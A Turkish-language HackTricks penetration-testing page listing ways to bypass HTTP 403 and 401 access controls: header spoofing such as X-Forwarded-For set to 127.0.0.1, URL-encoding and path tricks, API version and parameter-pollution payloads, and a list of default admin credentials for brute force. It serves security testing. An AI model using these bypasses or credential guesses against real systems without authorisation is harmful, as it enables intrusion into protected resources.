hacktricks/network-services-pentesting/pentesting-web/403-and-401-bypasses.md

9.3 KiB
Raw Blame History

403 ve 401 Atlatmaları

Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'ı desteklemenin diğer yolları:

Anında kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu. 20'den fazla araç ve özellikle tam bir pentest çalıştırın, keşiften raporlamaya kadar. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inmek, kabuklar açmak ve eğlenmek için biraz zaman kazanıyorlar.

{% embed url="https://pentest-tools.com/" %}

HTTP Fiilleri/Yöntemleri Fuzzing

Dosyaya erişmek için farklı fiilleri deneyin: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK

  • Yanıt başlıklarını kontrol edin, belki bazı bilgiler verilebilir. Örneğin, Content-Length: 55 ile HEAD fiiline 200 yanıtı almak, HEAD fiilinin bilgilere erişebileceği anlamına gelir. Ancak yine de o bilgileri dışarı çıkarmanın bir yolunu bulmanız gerekebilir.
  • X-HTTP-Method-Override: PUT gibi bir HTTP başlığı kullanarak kullanılan fiili değiştirebilirsiniz.
  • TRACE fiilini kullanın ve çok şanslıysanız belki yanıtta ayrıca ara proxy'ler tarafından eklenen başlıkları görebilirsiniz ki bu bilgiler faydalı olabilir.

HTTP Başlıkları Fuzzing

  • Host başlığını rastgele bir değere değiştirin (burada işe yaradı)

  • Kaynağa erişmek için başka Kullanıcı Ajanları kullanmaya çalışın.

  • HTTP Başlıklarını Fuzzlayın: HTTP Proxy Başlıklarını, HTTP Kimlik Doğrulama Temel ve NTLM brute-force (sadece birkaç kombinasyonla) ve diğer teknikleri deneyin. Tüm bunları yapmak için fuzzhttpbypass adlı aracı oluşturdum.

  • X-Originating-IP: 127.0.0.1

  • X-Forwarded-For: 127.0.0.1

  • X-Forwarded: 127.0.0.1

  • Forwarded-For: 127.0.0.1

  • X-Remote-IP: 127.0.0.1

  • X-Remote-Addr: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • X-Original-URL: 127.0.0.1

  • Client-IP: 127.0.0.1

  • True-Client-IP: 127.0.0.1

  • Cluster-Client-IP: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • Host: localhost

Eğer yol korumalıysa bu diğer başlıkları kullanarak yol korumasını atlatmayı deneyebilirsiniz:

  • X-Original-URL: /admin/console
  • X-Rewrite-URL: /admin/console
  • Sayfa bir proxy arkasında ise, belki de özel bilgilere erişmenizi engelleyen proxy'dir. HTTP İstek Kaçırma veya hop-by-hop başlıkları'nı kötüye kullanmayı deneyin.
  • Farklı yanıtlar aramak için özel HTTP başlıklarını Fuzzlayın.
  • HTTP Fiillerini Fuzzlarken özel HTTP başlıklarını Fuzzlayın.
  • Host başlığını kaldırın ve belki korumayı atlayabilirsiniz.

Yol Fuzzing

Eğer /yol engellenmişse:

  • /**%2e/path_ kullanmayı deneyin (erişim bir proxy tarafından engelleniyorsa, bu korumayı atlayabilir). Ayrıca **_** /%252e**/path (çift URL kodlamasıyla) deneyin
  • Unicode atlatması: /%ef%bc%8fpath (URL kodlanmış karakterler "/") böylece kodlandığında //path olacak ve belki de /path adı kontrolünü zaten atlatmış olabilirsiniz
  • Diğer yol atlatmaları:
  • site.com/secret > HTTP 403 Yasaklandı
  • site.com/SECRET > HTTP 200 Tamam
  • site.com/secret/ > HTTP 200 Tamam
  • site.com/secret/. > HTTP 200 Tamam
  • site.com//secret// > HTTP 200 Tamam
  • site.com/./secret/.. > HTTP 200 Tamam
  • site.com/;/secret > HTTP 200 Tamam
  • site.com/.;/secret > HTTP 200 Tamam
  • site.com//;//secret > HTTP 200 Tamam
  • site.com/secret.json > HTTP 200 Tamam (ruby)
  • Tüm bu liste'yi aşağıdaki durumlarda kullanın:
  • /FUZZsecret
  • /FUZZ/secret
  • /secretFUZZ
  • Diğer API atlatmaları:
  • /v3/users_data/1234 --> 403 Yasaklandı
  • /v1/users_data/1234 --> 200 Tamam
  • {“id”:111} --> 401 Yetkisiz
  • {“id”:[111]} --> 200 Tamam
  • {“id”:111} --> 401 Yetkisiz
  • {“id”:{“id”:111}} --> 200 Tamam
  • {"user_id":"<legit_id>","user_id":"<victims_id>"} (JSON Parametre Kirliliği)
  • user_id=ATTACKER_ID&user_id=VICTIM_ID (Parametre Kirliliği)

Parametre Manipülasyonu

  • Parametre değerini değiştirin: id=123 --> id=124
  • URL'ye ek parametreler ekleyin: ?id=124 —-> id=124&isAdmin=true
  • Parametreleri kaldırın
  • Parametreleri yeniden sıralayın
  • Özel karakterler kullanın.
  • Parametrelerde sınır testi yapın - -234 veya 0 veya 99999999 gibi değerler sağlayın (sadece bazı örnek değerler).

Protokol Sürümü

Eğer HTTP/1.1 kullanılıyorsa 1.0 kullanmayı deneyin veya hatta 2.0'yı destekleyip desteklemediğini test edin.

Diğer Geçişler

  • Alan adının IP veya CNAME'sini alın ve doğrudan iletişim kurmayı deneyin.
  • Sunucuyu zorlamak için yaygın GET istekleri göndermeyi deneyin (Bu kişi için Facebook'ta işe yaradı).
  • Protokolü değiştirin: http'den https'ye veya https'den http'ye
  • https://archive.org/web/ adresine gidin ve geçmişte o dosyanın dünya çapında erişilebilir olup olmadığını kontrol edin.

Kaba Kuvvet

  • Şifreyi tahmin edin: Aşağıdaki yaygın kimlik bilgilerini deneyin. Kurban hakkında bir şey biliyor musunuz? Veya CTF meydan okuma adını mı biliyorsunuz?
  • Kaba kuvvet: Temel, sindirim ve NTLM kimlik doğrulamasını deneyin.

{% code title="Yaygın kimlik bilgileri" %}

admin    admin
admin    password
admin    1234
admin    admin1234
admin    123456
root     toor
test     test
guest    guest

{% endcode %}

Otomatik Araçlar

Anında kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu. 20'den fazla araç ve özellikle tam bir pentest çalıştırın, keşiften raporlamaya kadar uzanan. Pentester'ları değiştirmiyoruz - onlara daha derine kazma, kabukları patlatma ve eğlenme zamanı kazandırmak için özel araçlar, tespit ve istismar modülleri geliştiriyoruz.

{% embed url="https://pentest-tools.com/" %}

Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları: